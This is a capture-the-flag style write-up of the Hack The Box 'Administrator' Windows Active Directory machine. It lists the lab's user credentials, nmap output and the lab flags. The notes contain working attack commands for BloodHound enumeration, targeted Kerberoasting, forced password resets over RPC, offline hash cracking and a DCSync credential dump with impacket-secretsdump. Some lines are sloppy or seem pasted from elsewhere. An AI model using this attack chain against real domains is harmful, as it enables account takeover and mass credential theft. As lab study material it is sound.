Administrator.md
[OS]: Windows
[Hostname]: administrator.htb
[IP]:10.129.97.239
[USERS]:
benjamin
alexander
Olivia
emily
ethan
emma
michael

#[CREDENTIALS]:
`Olivia : ichliebedich`
`michael : newP@ssword2022`
`benjamin: newP@ssword2022`
`alexander : UrkIbagoxMyUGw0aPlj9B0AXSea4Sw`
`emily : UXLCI5iETUsIBoFVTj8yQFKoHjXmb`
`emma : WwANQWnmJnGV07WQN8bMS7FMAbjNur`
`ethan : limpbizkit`
=========================================================================
#[NMAP RESULTS]:
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-11-11 03:35:27Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Host script results:
| smb2-time:
| date: 2026-11-11T03:36:27
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: 7h00m03s
#[SMB Services Enumeration]:
enumerating shares on available with olivia
.png)
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
enumerating users available on the active directory
.png)
=========================================================================
#[BLOODHOUND ENUM]:
enumerating user permissions using bloodhound
( bloodhound-python -u Olivia -p ‘ichliebedich’ -ns $IP -d administrator.htb -c All )
.png)
bloodhound showed us that olivia has **GenericAll** over the user micheal
.png)
and the user micheal has **ForceChangePassword**
.png)
KERBEROASTING
DOES NOT WORK
The Python script has modified the attribute of vipin user to set the SPN name and then dump Krbtgs hash that can be brute-forced offline
./targetKerberoast.py --dc-ip $IP -v -d ‘administrator’ -u Olivia -p ‘ichliebedich
.png)
since olivia has genericall over the user micheal we can use this command to change the password
net rpc password "michael" "newP@ssword2022" -U administrator.htb"/"Ovlivia
"%"ichliebedich" -S $IP
.png)
Verifying the password change
.png)
now since we know micheal has password change permissions over benjamin we can use the same command
.png)
since we can use john to crack the hash
.png)
found the safe password : tekieromucho
.png)
successfully authenticated with emily after finding her password on the pwsafe file
.png)
we run targetedkerberoast again with emilies credentials we found and get ethan hash to crack the password
.png)
using hashcat we successfully crack the ethans hash : limpbizkit
.png)
=========================================================================
#[PRIVILEGE-ESCALATION]:
ethan had -> DCSync permissions over the domain which would give us domain takeover and dump all the hashes from every user available on the domain
.png)
using impacket-secretsdump to dump the hashes and we successfully got the administrator hash
impacket-secretsdump administrator.htb/ethan:limpbizkit@$IP
.png)
=========================================================================
#[FLAGS]:
user.txt -> 003a0805f6d8a6c08e9751de4929e935
root.txt -> cb337a2293761ff0c5ba6555a1b8c838